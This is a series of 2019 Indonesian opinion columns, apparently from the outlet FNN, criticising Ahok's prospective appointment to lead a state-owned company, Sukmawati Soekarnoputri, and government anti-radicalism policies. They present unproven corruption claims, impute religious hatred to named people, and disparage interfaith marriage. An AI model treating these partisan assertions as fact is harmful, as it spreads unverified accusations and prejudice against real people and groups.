menentu. Kerja serabutan. Harga-harga yang makin mencekik. Bukan karena tak tahu bagaimana cara makan yang bergizi. Begitu juga isu reproduksi dan penyakit-penyakit kesuamiistrian. Penyakit kelamin, dsb. Ini bukan persoalan urgen. Sebab, selama masa perkenalan antara pasangan calon suami-istri, tentu mereka juga memperhatikan berbagai potensi yang terkait dengan masalah kesehatan. Pria atau wanita yang berkenalan dan menjalin hubungan, tentulah akan saling mencari tahu dan saling mengamati. Apalagi, proses menuju pernikahan itu ditangani oleh orangtua calon suami dan istri. Lebih terjamin lagi. Sebab, orangtua dari pria dan wanita biasanya akan merintitis dulu. Mereka akan membentangkan apa adanya tentang anak mereka. Tentang segala kekuragan dan kelebihan. Inilah proses yang sesuai dengan syariat. Tidak ada yang disembunyikan tentang calon suami atau calon istri. Jadi, tak perlu ada negara untuk membantu para calon suami-istri dalam masalah-masalah yang ingin ditangani oleh Kemenko PMK itu. Kalau mengawasi agar jangan sampai terjadi perkawinan antara penganut agama yang berbeda, itulah yang diperlukan. Rakyat akan mendukung. Sebab, perkawinan beda agama besar kemungkinan akan melahirkan generasi bingung. Tak punya pegagangan. Generasi yang rusak akidah. Dan kerusakan akidah (iman) akan menyebabkan bangsa menjadi rusak juga. Karena itu, lebih baik Anda-anda yang sedang berkuasa ini memikirkan lapangan kerja untuk anak-anak muda. Lebih baik memikirkan cara memberantas korupsi agar uang yang bocor puluhan triliun setiap tahun itu bisa digunakan untuk program-progran yang lebih relevan untuk para calon suami-istri. Atau, lebih baik Anda tanya Presiden Jokowi kapan dia akan menerbitkan kartu prakerja. Ini pasti sangat membantu anak-anak muda calon pengantin.[] 21 November 2019 Penulis wartawan senior.

Tampaknya Sukmawati Belum Selesai dengan Islam

By Asyari Usman Jakarta, FNN - Sukmawati Soekarnoputri mungkin percaya bahwa ayah beliau, Soekarno, lebih hebat dari Nabi Muhammad. Hebat dalam kaitan dengan perjuangan kemerdekaan Indonesia. Nah, salahkah Bu Sukma bertanya apakah Baginda Nabi yang berjuang dalam merebut kemerdekaan Indonesia atau Soekarno? Bisa tidak salah, bisa juga salah. Bisa tak salah, karena Bu Sukma mungkin hanya ingin menguraikan fakta tentang perjuangan kemerdekaan. Tentu saja tidak ada Nabi secara fisik dalam perjuangan Indonesia. Kalau Bu Sukma mengatakan mana ada peranan langsung Nabi Muhammad, pastilah tidak ada. Jadi, tak salah kalau pertanyaan di orasi Bu Sukma itu dia sampaikan di depan audiens. Tapi, bisa juga salah. Sebab, dengan memunculkan pertanyaan retoris itu, Buk Sukma tampak tendensius. Untuk apa beliau membawa-bawa Nabi untuk membandingkan kehebatan perjuangan Soekarno? Apa perlunya? Mengapa harus menanyakan peranan Nabi dalam perjuangan kemerdekaan Indonesia? Tidak bisa dimengerti mengapa dia munculkan itu. Yang bisa dipahami adalah bahwa Sukmawati hanya ingin melecehkan Baginda Nabi untuk mengatakan Soekarno hebat. Ini yang membuat publik, khususnya umat Islam, menjadi terusik. Kalau Bu Sukma bermaksud memuji-muji kehebatan ayahnya, silakan saja. Tidak ada yang melarang. Sah-sah saja. Bukankah sangat banyak politisi dan pengamat yang juga memuji-muji kehebatan Soekarno? Tidak masalah Bu Sukma mempromosikan kehebatan perjuangan Soekarno. Tapi, mengapa dia perlu jawaban bahwa Nabi Muhammad memang tidak ikut berjuang langsung untuk merebut kemerdekaan Indonesia? Di sinilah kegaduhan itu bermula. Dia mengikutkan Nabi Muhammad dalam uraian umum yang sebenarnya tidak memerlukan penyebutan kualitas Baginda. Dia tidak punya alasan untuk melontarkan pertanyaan retoris tentang perjuangan Nabi di Indonesia. Pasti akan memunculkan kontroversi. Bu Sukma seolah-olah terus menunjukkan kegusarannya terhadap Islam dan umat Islam. Dia seperti belum selesai dengan Islam. Mungkin sekali masih sangat besar ganjalan di hatinya tentang Islam. Atau, bahkan, cukup besar dan keras kebenciannya terhadap agama Allah SWT itu. Belum lagi lama berlalu kasus sari konde yang dia puisikan lebih indah dari cadar, dan kidung ibu pertiwi yang dia katakan lebih merdu dari suara azan. Kini dia mencoba mengukur kehebatan Nabi Muhammad dengan cara membandingkannya dengan kehebatan Soekarno. Bu Sukma kebablasan. Crossing the red line. Dia terobos garis merah. Kehebatan Soerkarno –kalau dia memang betul-betul hebat— tidak memerlukan legitimasi dari siapa pun. Termasuk dari komparasi perjuangan Nabi dan perjuangan Soekarno. Kalau dicermati gaya pidato dan bahasa tubuhnya sesuai rekaman video ketika dia menyampaikan pertanyaan tentang kehebatan Nabi, memang terkesan sangat jelas bahwa Sukamawati tidak rela Islam dan umat Islam ada di Indonesia. Tidak berlebihan untuk menduga bahwa pelecehan terhadap Islam dari mulut Sukmawati kemungkinan tidak akan selesai sampai di sini. Tidak bisa diharap ini yang terakhir. Mungkin dia menyimpan dendam kesumat yang telah membatu di hati dan pikirannya. Wallahu a’lam.[] 19 November 2019 Penulis wartawan senior.

Misteri Ahok: Bakal Jadi Pejabat BUMN untuk Balas Dendam?

Oleh Mochamad Toha Jakarta, FNN - Ahok Effect! Itulah yang terjadi sekarang ini. Terjadi reaksi penolakan atas rencana Menteri BUMN Erick Thohir yang akan menempatkan Basuki Tjahaja Purnama alias Ahok menjadi Direktur Utama atau Komisaris Utama di BUMN. Kabar santer, mantan Gubernur DKI Jakarta itu akan ditempatkan di PT Pertamina (Persero). Reaksi keras langsung datang dari Federasi Serikat Pekerja Pertamina Bersatu (FSPPB) yang terang-terangan menolak rencana Menteri Erick ini. Serikat Pekerja Tolak Ahok Pimpin Pertamina: PEMBERANG DATANG - KITA PERANG!! Begitu salah satu bunyi spanduk penolakan atas Ahok oleh FSPPB itu. “Benar (menolak),” tegas Presiden FSPPB Arie Gumilar, mengutip Liputan6.com,‎ Jumat (15/11/2019). Sebelumnya, Ahok telah bertemu dengan Erick Thohir dan berbicara mengenai kemungkinan Ahok masuk ke salah satu BUMN. FSPPB menolak rencana penunjukan Ahok masuk dalam jajaran pejabat Pertamina, baik untuk posisi direksi ataupun komisaris. Arie mengungkapkan‎, aksi penolakan yang dilakukan serikat pekerja yang tergabung dalam FSPPB didasari‎ karena Ahok yang memiliki cacat persyaratan materiil. Menurutnya, Ahok cacat persyaratan materiil.‎ “Kader internal Pertamina juga banyak yang cakap‎,” tuturnya. Hingga hari ini belum jelas betul posisi Ahok apakah Komisaris Utama atau Direktur Utama Pertamina. Ada yang berspekulasi di BUMN Inalum yang melakukan divestasi 51 % saham PT Freeport. Lalu Inalum menawarkan kepemilikan saham ke RRC. Pemerhati Politik M. Rizal Fadillah menyebut, jika kemudian Ahok menjabat di Pertamina, maka ia akan berminyak minyak. Semakin berminyak dan licin. Reaksi pun muncul. Yang menyorot “ketidakbersihan” Ahok meradang. Ahok diduga korupsi di banyak proyek mulai dari RS Sumber Waras, bus Transjakarta asal China, hingga reklamasi. Buku Marwan Batubara cukup mengurai hal dugaan korupsi Ahok. Kesimpulannya dengan track record buruk soal korupsi tak pantas Ahok memegang jabatan penting BUMN. Petinggi alumni 212 juga teriak atas “ketidaksucian” Ahok yang “alumni Lapas” untuk kasus penodaan agama. Tidak layak Ahok yang telah menyakiti umat Islam diberi jabatan strategis. Ahok akan jadi sasaran aksi baru umat. Reuni 212 yang selalu berulang akan menemukan isu “lama” soal Ahok ini. Gelindingan bisa saja membesar dan memfokus. Dan, ini akan mengarah ke Presiden Joko Widodo yang telah memberi kepercayaan pada Ahok. Tentu dengan dua isu besar yang disandang Ahok, yaitu korupsi dan penista agama. Untuk jangka pendek, Ahok akan tetap sebagai “masalah”. Kita teringat ucapan KH Ma’ruf Amin dalam video tentang Ahok yang kini viral. Bahwa Ahok adalah sumber konflik. Nah, Ahok belum steril saat ini, masih sensitif jika dipromosikan pada jabatan jabatan penting. Haruskah Presiden Jokowi memaksakan Ahok untuk memegang jabatan penting di BUMN? Memang sudah bisa dipastikan, masuknya Ahok sebagai calon bos salah satu BUMN adalah hasil rekomendasi dari Presiden Jokowi. Begitu ungkap Staf Khusus Menteri BUMN, Arya Sinulingga, ditemui di kantor Kementerian BUMN, Rabu (13/11/2019). “Yang pasti setiap posisi yang vital untuk BUMN kita harus koordinasi dengan Pak Jokowi. Tidak mungkin enggak karena BUMN yang mempengaruhi banyak menyangkut kehidupan pasti kita konsultasi dengan Pak Jokowi,” ujar Arya. Diakuinya, banyak yang mengapresiasi langkah pemerintah menarik Ahok masuk menjadi bos BUMN. Karena Ahok dinilai sosok yang tegas, meski pernah tersandung kasus hukum dan dipenjara. “Harapan kita memang Pak Ahok bisa bergabung bersama kita di salah satu BUMN, jadi kita memang mengharapkan Pak Ahok bersedia juga untuk bergabung di salah satu BUMN kita,” tambah Arya. Namun Arya belum bisa memastikan BUMN mana yang akan ditempati oleh Ahok. Yang pasti BUMN tersebut adalah BUMN yang sifatnya strategis, dalam arti berperan penting dalam perekonomian dan kenegaraan. Penunjukan Ahok sebagai bos BUMN ini, ujar Arya, pastinya akan melalui proses di Tim Penilai Akhir (TPA). Sehingga, ini belum berakhir. Artinya, Ahok bisa masuk atau gagal, masih tergantung dari TPA, kecuali dia “sakti”. Apalagi, kalau sudah ada “rekom” dari Presiden Jokowi, itu jelas “harga mati”, sulit ditolak! Pertanyaannya, “mengapa harus Ahok?” Sudah tidak adakah di seluruh Indonesia ini sosok pejabat yang lebih bersih dan lebih cerdas dari Ahok? Balas Dendam Ahok? Semangatnya Ahok untuk menerima “tawaran” jabatan dari Menteri Erick Thohir menduduki posisi Direksi atau Komisaris di sebuah BUMN tersebut justru akan memicu kontroversi di kalangan umat Islam yang pernah “disakiti” Ahok. Bahkan, saat Ahok berhasil “lolos” dari sejumlah kasus korupsi yang diduga melibatkan dia ketika menjabat Wakil Gubernur maupun Gubernur DKI Jakarta pun nyaris tidak tersentuh hukum sama sekali, kecuali terkait penistaan agama (Islam). Hingga membuat Ketua MUI KH Ma’ruf Amin geram dan mengeluarkan fatwa MUI terkait penistaan agama yang ditujukan kepada Ahok. Setelah dilakukan demo besar-besaran melalui Gerakan Nasional Penyelamat Fatwa MUI, Ahok akhirnya diadili. Ahok divonis 2 tahun penjara oleh majelis hakim PN Jakarta Utara karena terbukti bersalah melakukan penodaan agama atas pernyataan soal Surat Al-Maidah 51 saat berkunjung ke Pulau Pramuka, Kepulauan Seribu, Jakarta. Ahok mulai menjalani hukuman penjara pada 9 Mei 2017 setelah putusan majelis hakim di PN Jakarta Utara. Ahok bebas pada Kamis, 24 Januari 2019. Ahok keluar dari Rutan Mako Brimob setelah menjalani masa pidana penjara selama 1 tahun 8 bulan 15 hari. Mengenai hal ini, mantan Ketua DPR RI Marzuki Alie mengatakan bahwa sebaiknya kasus hukum dugaan korupsi yang menyeret nama Ahok diselesaikan terlebih dulu. Karena track record dalam menentukan pemimpin BUMN harus menjadi pertimbangan utama. “Jangan menjadi preseden buruk, karena kondisi BUMN yang sudah banyak terpuruk karena fraud. PT Jiwasraya yang diam-diam, sudah defisit puluhan T (triliun),” kata Marzuki lewat Twitternya, dikutip Rabu, 13 November 2019. Dilansir VIVA, Kamis (14/11/2019 | 06:00 WIB), menurut Marzuki, hal tersebut berdasarkan temuan BPK RI. Tapi, kasus ini masih menggantung dan belum diselesaikan. Selama belum diselesaikan, maka kasus itu tidak selesai. “Ini enggak baik, seolah ada diskriminasi. Dulu di PTSB hanya Rp 94 juta antar BUMN, kasusnya dijadikan kasus pidana. Itu temuan BPK yang bisa diselesaikan karena sama-sama BUMN,” ujarnya. Ia mengatakan, temuan BPK itu persoalan legal, maka apa pun wajib diselesaikan temuan itu. Menurut Marzuki, harusnya tidak perlu takut apabila tidak bersalah. Sebab, ini temuan BPK dan kerugian negaranya jelas. “Selama belum diselesaikan, maka kasus itu tidak selesai. BPK itu lembaga, temuannya masih nyangkut di Pemprov DKI, itu harus diselesaikan. Apapun wajib diselesaikan, kalau tidak bersalah gak usah takut dan gak usah baper,” ungkap Marzuki. “BTP itu teman saya, satu daerah, maju gubernur juga karena motivasi dari cerita saya,” lanjutnya. Jika Menteri Erick Thohir tetap ngotot ingin menempatkan Ahok menjadi pimpinan di salah satu BUMN, sebaiknya Ahok ditugaskan untuk benahi BUMN dengan masalah utang yang hingga Desember 2918 terbilang cukup tinggi. Seperti diungkap Dewan Pembina Gapasda dan Iperindo, Bambang Haryo Soekartono, saat berbincang dengan awak media, Rabu (23/10/2019) mengungkapkan, sebelum mewujudkan permintaan Presiden Jokowi soal rencana ekspansi ke luar negeri. Salah satu masalah yang membuat BUMN Indonesia sulit untuk melakukan ekspansi karena terbebani oleh utang. Hingga Desember 2018 lalu, setidaknya ada 10 BUMN dengan utang terbesar, antara lain BRI menanggung utang Rp 1.008 triliun; Bank Mandiri utang Rp 997 triliun, BNI utang Rp 660 triliun, PLN utang Rp 543 triliun, Pertamina utang Rp 522 triliun, BTN utang Rp 249 triliun, Taspen utang Rp 222 triliun, Waskita Karya utang Rp 102 triliun; Telekomunikasi Indonesia utang Rp 99 triliun, dan Pupuk Indonesia utang Rp 76 triliun. Rasio utang perusahaan rata-rata sudah di atas separuh aset yang dimiliki masing-masing perusahaan pelat merah tersebut. Bahkan ada yang rasionya sudah mendekati aset yang dimiliki, seperti BRI dengan aset Rp 1.179 triliun. Artinya, dengan utang yang ditanggung berbanding aset dimiliki, perusahaan bisa dipailitkan. “Bisa dikatakan 10 BUMN ini terancam bangkut. Sebab kalau asetnya dijual semua habis untuk membayar utang,” ujarnya. *** Penulis wartawan senior.

Wow, Umat Islam Dikepung Habis

By Asyari Usman Jakarta, FNN - Tidak ada keraguan bahwa terminologi “radikalisme” itu 99.99% ditujukan kepada umat Islam. Sulit untuk berkilah atau memoles penjelasan bahwa label negatif itu bukan untuk orang Islam saja. Hanya ada ruang 0.1% untuk mengatakan bahwa sebutan itu ditujukan ke semua orang. Kenapa? Karena kejadian empirisnya seperti itu. Sosialisasi istilah radikalisme, sejak awal, diasosiasikan dengan umat Islam. Ini fakta historis. Sama dengan Orde Baru, Golkar, Repelita, dlsb. Semua ini secara otomatis tersambung ke Presiden Suharto. Anda sebut Orde Baru, maka asosiasi yang muncul adalah Suharto. Begitu juga Golkar. Kata “radikalisme” mengalami proses yang sama. Para petinggi keamanan, politisi, pengamat, media massa, dan komponen-komponen lainnya menyematkan kata itu ke setiap peristiwa buruk yang melibatkan orang Islam. Setelah berulang-ulang dikaitkan dengan umat Islam, labelisasi itu menjadi solid. Sehingga, akan terasa aneh kalau “radikalisme” Anda katakan tidak terkait dengan umat Islam. Sama anehnya dengan argumentasi bahwa Orde Baru atau Golkar tidak terkait dengan Suharto. Mudah-mudahan cukup jelas mengapa “radikalisme” menjadi identik dengan umat Islam. Hari ini, umat Islam sedang dikepung habis. Atas nama pencegahan radikalisme. Sekarang, Kementerian Komunikasi dan Informatika (Kemenkominfo) sudah meluncurkan situs (website) khusus untuk melaporkan ASN yang dianggap terpapar radikalisme. Tak tanggung-tanggung. Instansi yang dipimpin oleh Menteri Johnny G Plate itu bekerja sama dengan 10 kementerian lain. Tujuannya jelas. Untuk menjaring para pegawai negeri yang menunjukkan ciri-ciri dan perilaku radikal. Siapakah yang akan disasar lewat situs pelaporan itu? Ya, itu tadi. ASN yang dianggap terpapar radikalisme. Seperti dijelaskan di atas, radikalisme itu identik dengan orang Islam. Artinya, yang hendak dikejar situs pelaporan itu hampir pasti ASN muslim. Barangkali Anda akan bertanya: mengapa diyakini situs pelaporan radikalisme itu ditujukan kepada ASN muslim? Jawabannya, apakah Anda yakin situs pelaporan radikalisme itu ditujukan juga kepada para ASN yang bukan muslim? Atau, lebih spesifik lagi: apakah cadar, celana cingkrang, jilbab, janggut, dll, adalah isu-isu yang terkait dengan orang non-muslim? Jadi, sangat repot menolak kesimpulan bahwa semua kebijakan dan tindakan antiradikalisme pasti diarahkan kepada kaum muslimin. Memang, pihak yang berkuasa akan berusaha sekuat tenaga menjelaskan bahwa penangkalan atau pembasmian radikalisme bukan bersubjekkan orang Islam saja. Tetapi, nalar sehat tak bisa dikelabui. Semua pengalaman menunjukkan bahwa apa saja tentang radikalisme, pasti dikaitkan dengan orang Islam.. Kita lanjutkan. Tidak hanya situs pelaporan ASN radikal yang diciptakan oleh para penguasa. Proses rekrutmen CPNS (calon pegawai negeri sipil) akan dibuat esktra-ketat. Para calon akan ditelusuri secara digital. Untuk mencari akun-akun media sosial milik mereka. Tujuannya ialah untuk mengetahui apakah mereka pernah mengunggah bahan-bahan yang mereka anggap radikalisme atau tidak. Apakah pelaporan ASN radikal dan pemantauan akun-akun medsos CPNS saja yang dilakukan penguasa? Tidak. Ada sejumlah tindakan lain yang diarahkan ke umat Islam. Misalnya, Kementerian Agama akan menghapus materi tentang perang jihad dari buku sejarah Islam. Kemudian, masjid-masjid yang ada di lingkungan berbagai kantor pemerintahan dan BUMN diawasi oleh lembaga-lembaga keamanan. Seperti diketahui, Badan Intelijen Negara (BIN) menyimpulkan ada 41 dari 100 masjid di Jakarta yang terpapar radikalisme. Sebanyak 11 masjid di kantor pemerintahan, 11 di komplek lembaga, dan 21 di kantor-kantor BUMN. Seterusnya, ketika Nadiem Makarim diangkat menjadi Mendikbud, seorang netizen meminta kepada menteri milenial ini agar masjid yang ada di sekolah-sekolah segera dibongkar. Ada pula rencana penguasa untuk merombak konten ratusan buku. Kementerian Agama akan mengubah isi 155 buku pelajaran agama. Yaitu, yang dipakai mulai dari kelas 1 SD sampai kelas 12 SMA. Materi tentang khilafah akan ditinjau. Bisa dibaca sasarannya: yaitu memutus semua hubungan umat Islam dengan terminologi “khilafah”. Boleh jadi penelitian akademis dan tinjauan ilmiah pun akan dilarang. Nah, bagaimana Anda menafsirkan langkah-langkah yang tertata rapi (coordinated) dan serentak (concerted) ini? Bagi saya, semua itu menunjukkan betapa banyaknya orang yang ingin melihat umat Islam dikepung. Didemonisasikan. Dilabel dengan aneka sebutan negatif. Dan ini dilakukan secara terstruktur, sistematis, dan masif (TSM). Tentu tak perlu bersedih. Apalagi marah-marah. Umat sudah terbiasa ditindas dan dipojokkan. Sudah sangat lumrah menjadi tertuduh. Dari presiden ke presiden, umat Islam sudah lumrah dengan posisi “under-sieged”. Dikepung habis. Cuma, mereka salah kalkulasi. Dengan segala upaya pengepungan itu, umat tidak akan menjadi “besieged mentality”. Tidak akan pernah bermental terkepung. Sebaliknya, umat semakin bergairah dan lincah. Dalam dakwah dan perjuangan politik.[] 18 November 2019 Penulis adalah wartawan senior.

Apakah Ada Guna Membahas Korupsi Ahok?

By Asyari Usman Jakarta, FNN - Di tengah kabar santer bahwa Basuki Tjahja Purnama (BTP) alias Ahok akan diangkat menjadi pejabat tinggi BUMN penting, beredar pembahasan yang gencar tentang sekian banyak dugaan korupsi mantan gubernur DKI itu. Tak mungkin dibantah bahwa pemunculan kasus-kasus korupsi itu dimaksudkan untuk memperingatkan semua pihak agar berhati-hati memberikan jabatan kepada Ahok. Banyak sekali bahasan tentang dugaan korupsi Ahok. Di media massa maupun di media sosial (medsos). Bahasan itu beragam. Mulai dari artikel-artikel serius dengan segudang bukti sampai status singkat di semua platform medsos. Bahkan ada buku khusus tentang kasus-kasus korupsi Ahok. Yang ini ditulis oleh pengamat masalah korupsi, Marwan Batubara. Dalam bentuk buku, pastilah sangat serius. Judul buku Marwan sangat gamblang. Di sampulnya tertulis dengan huruf kapital: KORUPSI AHOK. Judul buku ini terasa ingin meyakinkan publik bahwa Ahok banyak melakukan korupsi. Tapi, apakah ini hanya penggiringan opini? Tergantung di mana Anda berdiri. Kalau Anda pendukung setia Ahok, tentu apa saja yang menguraikan keburukan Ahok pasti tidak pernah ada benarnya. Sebaliknya, kalau Anda orang netral atau bukan pendukung Ahok, hampir pasti tidak ada masalah. Kedua pihak tak akan pernah sepaham terhadap bahasan-bahasan tentang korupsi Ahok. Artinya, bagi Anda yang berseberangan dengan Ahok, dia adalah figur yang penuh noda korupsi. Sedangkan bagi para pendukungnya, Ahok adalah orang yang bersih dari korupsi. Bahkan Anda akan mengatakan bahwa Ahok adalah pahlawan yang menutup peluang korupsi. Terlepas dari kedua penilaian yang kontras dari musuh dan kawan Ahok, apakah ada gunanya membahas kasus-kasus dugaan korupsi mantan gubernur DKI itu? Apakah pembeberan berbagai kasus korupsi itu bisa menggagalkan jalan Ahok menuju BUMN? Sebelum menjawab pertanyaan ini, perlu disebutkan bahwa jabatan-jabatan tinggi di BUMN vital selalu dikonsultasikan kepada Presiden Jokowi. Kabarnya, ini merupakan prosedur operasional baku (SOP). Untuk pengangkatan direktur utama atau komisaris utama di sejumlah BUMN vital, Jokowi harus tahu. Dan dialah yang membuat keputusan. Nah, dari sini kita bisa menduga bahwa Ahok hampir pasti akan masuk ke BUMN. Jokowi tidak akan menggubris pembeberan kasus-kasus korupsi mantan wakilnya di Balaikota DKI dulu itu. Kalau Jokowi mau melakukan sesuatu, atau terpaksa melakukan sesuatu, kelihatannya tidak ada seorang pun yang bisa mencegahnya. Jika dia ingin mengangkat Ahok untuk jabatan apa saja, Jokowi tak perduli apa pun yang dikatakan orang tentang Ahok. Anda mungkin menduga Luhut Binsar Pandjaitan (LBP) tak ikut lagi di kabinet baru ini. Ternyata dugaan itu keliru. Terus, Anda tentu ingat kasus Archandra Tahar di awal kabinet 2014. Dengan mudah dilakukan renaturalisasi kewarganegaraannya agar dia bisa menjadi wakil menteri. Semua orang menentang. Jokowi tak perduli. Jadi, saya yakin Ahok akan diberi jabatan di BUMN walaupun banyak sekali bahasan tentang dugaan kasus-kasus korupsi yang dikatakan melibatkan mantan napi penista agama itu. Semua ini tergantung Jokowi. Apalagi sekarang ini Jokowi berada di periode “nothing to lose”. Tidak ada yang harus ditakutkan. Dia tidak bisa lagi menjadi presiden setelah ini. Lihat saja kabinet baru ini. Banyak orang mengatakan, entah siapa-siapa saja yang diangkat Jokowi menjadi menteri. Pemilik angkutan online menjadi Mendikbud. Menteri Agama diberikan kepada mantan jenderal yang kerjanya menimbulkan kegaduhan, dll. Kembali ke Ahok, pembeberan rekam jejak kontroversial dia tidak ada salahnya. Sebab, publik ingin agar sedapat mungkin orang-orang bersihlah yang mengelola BUMN. Atau lembaga-lembaga lain. Publik berhak untuk itu. Cuma, Presiden Jokowi mau atau tidak mendengarkan imbauan dan peringatan publik? [] 16 November 2019 Penulis adalah wartawan senior.

Silakan Bangun Apa Saja, Asal Bukan Islam

Oleh Asyari Usman Jakarta, FNN - Tampaknya, judul inilah yang mengisi kepala para penguasa Indonesia. Tidak semua. Tapi, sebagian besar. Asalkan bukan Islam, silakan buat apa saja di Indonesia ini. Silakan bangun apa saja. Mau mengembangkan sekularisme sampai yang lain habis, silakan. Tidak ada masalah. Akan didukung penuh. Mau tekan gas habis untuk liberalisme, juga silakan. Tidak akan dihalangi. Bahkan akan didorong sekuat tenaga. Pun kalau ada yang serius mau mengarahkan Indonesia menjadi sarang korupsi, juga akan dibiarkan. Malahan dibantu dengan melemahkan KPK. Juga kalau Indonesia mau dijadikan sebagai pusat perzinahan, pasti disambut meriah. Bakal banyak yang senang. Bahkan sudah dibuatkan thesis S-3 yang menghalalkan zina. Bisa saja nanti dibuatkan sertifikasi halal untuk penyedia fasilitas perzinahan. Terus, mau dijadikan Indonesia ini negara kapitalis ekstrem, silakan maju. Dengan senang hati akan difasilitasi oleh penguasa. Atau mau dijadikan negara komunis, malah kebetulan. Kebetulan sedang banyak pentolan yang sangat menginginkan ini. Anda mungkin sudah tahu siapa mereka. Dan, Presiden Xi Jinping dapat dipastikan akan mendukung tuntas. Pokoknya, siapa saja boleh membangun apa saja. Asal bukan Islam atau umat Islam. Kalau ada yang mau mengarahkan penguatan Islam garis lurus, kecuali Islam bengkok-bengkok, pasti akan membentur tembok. Beginilah kondisi yang dihadapi umat Islam. Dari mana saja Anda mau memulai penguatan umat garis lurus, di situ ada perintang jalan. Disiapkan skenario yang akan melelahkan Anda. Yang akan membuat Anda frustrasi. Semua sudah disiaprapikan. Ada tuduhan terorisme. Ada narasi intoleran. Anti-Pancasila. Anti-NKRI. Seolah-olah, semua label ini hanya pantas disematkan di kening umat Islam. Sekarang ini sedang gencar-gencarnya penguasa melabelkan radikalisme kepada umat Islam. Ada demonisasi cadar dan celana cingkrang yang diidentikkan dengan radikalisme itu. Cadar dan cingkrang dipoles habis menjadi momok yang menakutkan. Dibicarakan di mana-mana dalam konotasi negatif. Dalam keadaan seperti ini, apa yang bisa dilakukan oleh umat? Nyaris tidak ada. Kecuali terus berdoa, berdakwah, dan beristighfar. Berdoa adalah senjata paling ampuh bagi umat. Kalau para ulama, ustad, kiyai, pemuka masyarakat, dll, pastilah senyum-senyum saja menghadapi situasi seperti sekarang ini. Mereka berprasangka baik kepada Rabbal ‘Alamin –Tuhan Semesta Alam. Mereka paham bagaimana cara merujuk kesemena-menaan para penguasa. Intinya, fitnah (cobaan) terhadap umat Islam akan terus datang bertubi-tubi. Akan silih berganti. Baginda Nabi dengan jelas menyebutkan rangkaian fitnah yang menerpa deras dan mendera umat. “Yaa ayyuhalazina amanu, ishbiru wa shabiru, wa rabithu, wattaqullaha la’allakum tuflihuun.” (QS Ali Imran 200) “Hai orang-orang yang beriman, bersabarlah kamu dan kuatkanlah kesabaranmu dan tetaplah bersiap siaga dan bertakwalah kepada Allah, supaya kamu beruntung.” Musuh-musuh Islam itu begitu dahsyat. Di dalamnya ada segala macam kekuatan yang berhimpun. Ada kekuatan politik, ekonomi, finansial, plus orang-orang munafik. Sebaliknya, satu-satunya “kekuatan” umat adalah hadits Nabi yang menyebutkan bahwa umat Islam di akhir zaman akan seperti buih di lautan. Terombang-ambing tak tentu arah. Kok hadits buih disebut kekuatan? Karena dengan hadits inilah umat akan melakukan koreksi. Boleh jadi proses koreksi itu telah dimulai dan menuju penyempurnaan. Wallahu a’lam.[] 15 November 2019 Penulis adalah wartawan senior.

Plus Minus Ahok Mendongkrak Risiko Jokowi

Oleh Hudzaifah Jakarta, FNN - Ahok kembali menjadi viral di media massa cetak, televisi, radio maupun media sosial. Kali ini mantan narapidana penistaan agama itu akan diangkat menjadi bos di PT Pertamina, perusahaan Badan Usaha Milik Negara (BUMN) paling basah di negeri ini. Sebelumnya pemilik nama lengkap Basuki Tjahaja Purnama itu memang santer akan menjadi salah satu nominasi menteri Kabinet Indonesia Maju. Tapi setelah nama-nama menteri dan wakil menteri diumumkan, peluang Ahok pun pupus. Setelah itu beredar kabar bahwa Ahok akan menjadi Pengawas Komisi Pemberantasan Korupsi (KPK). Tapi setelah ditelusuri Ahok tak memenuhi syarat karena dalam karirnya sebagai Gubernur DKI banyak persoalan korupsi yang diarahkan kepadanya. Belakangan Ahok bertemu Menteri BUMN Erick Thohir dan dikabarkan akan menjadi bos BUMN, wabil khusus Pertamina. Bahkan Presiden Jokowi sendiri diketahui yang mendorong Ahok jadi bos di Pertamina, entah sebagai Direktur Utama atau Komisaris Utama. “Bisa keduanya. Kita tahu kinerjanya. Nanti penempatannya di mana, itu proses seleksi yang ada di Kementerian BUMN," ucap Jokowi hari ini. Menteri BUMN Erick Thohir sendiri menyatakan proses seleksi akan selesai akhir bulan ini, sehingga awal Desember 2019 sudah bisa dilantik. Menko Kemaritiman dan Investasi Luhut Binsar Pandjaitan membenarkan soal peluang Ahok menjadi salah satu bos di BUMN energi. Menurutnya Ahok sosok yang tepat karena ketegasannya untuk memimpi salah satu BUMN energi. Atau BUMN lain yang sakit membutuhkan kepiawaian dan keberanian Ahok. Sampai di sini publik pun menyatakan aneka reaksi yang beragam. Pengarang buku Korupsi Ahok, Marwan Batubara berpendapat bahwa Ahok itu lebih pantas ditahan ketimbang diberi jabatan, mengingat banyaknya kasus korupsi yang melilitnya. Mantan Ketua DPR Marzuki Ali menyampaikan keheranannya dengan rekomendasi Jokowi agar Ahok jadi bos Pertamina. Alasannya, banyak sekali temuan audit Badan Pemeriksa Keuangan (BPK) yang terkait dugaan korupsi Ahok, sebaiknya temuan BPK itu ditindaklanjuti aparat hujum dulu. Sementara mantan Menteri Koperasi dan UKM Syarif Hasan mengatakan di zaman Presiden Susilo Bambang Yudhoyono tak pernah mengangkat petinggi BUMN dari orang bermasalah. Bahkan pejabat yang sedang duduk dalam jabatannya terindikasi bermasalah dan ditersangkakan, maka diberhentikan. Dengan kata lain, Presiden Jokowi sedang mempertaruhkan risiko yang besar dengan rencana mengangkat Ahok sebagai bos Pertamina. Direktur Eksekutif Center of Energy and Resources Indonesia (CERI), Yusri Usman berpendapat, kalau Ahok benar mau dicalonkan jadi Direktur Utama atau Komisaris Utama BUMN, maka Erick Tohir bisa dianggap melanggar Permen BUMN Nomor 03 Tahun 2015 tentang Persyaratan Menjadi Anggota Direksi dan Komisair BUMN. Menurutnya Ahok tidak memenuhi syarat formal untuk menjadi Direksi maupun Komisaris BUMN sesuai Permen BUMN tersebut. Pada Bab II tentang Persyaratan Anggota Direksi BUMN dalam Permen BUMN Nomor 03/2015, pada poin A angka 3, tentang Persyaratan Formal, disebutkan direksi perseroan adalah orang perorangan yang cakap melakukan perbuatan hukum, kecuali dalam waktu lima tahun sebelum pengangkatan pernah dihukum karena melakukan tindak pidana yang merugikan keuangan negara, BUMN, perusahaan dan atau yang berkaitan dengan sektor keuangan. Tentang persyaratan formal poin 3 ini, walau bisa dimentahkan dengan dalih Ahok dipenjara bukan karena merugikan keuangan negara atau BUMN, tapi Ahok tersangkut di persyaratan materiil. Yusri mengungkapkan pada Bab II huruf B angka 6 Permen BUMN Nomor 03/2015, disebutkan persyaratan materiil direksi perseroan adalah Perilaku yang baik. “Faktanya, yang bersangkutan (Ahok,red) berperilaku yang melecehkan, menistakan atau menghina agama lain sehingga dipenjara karena hal tersebut, itu berarti berperilaku tidak baik," ungkap Yusri. Tentu saja dimata Jokowi, Ahok adalah special person. Selain yang membantu menghubungkan Jokowi dengan sumber pembiayaan kampanye 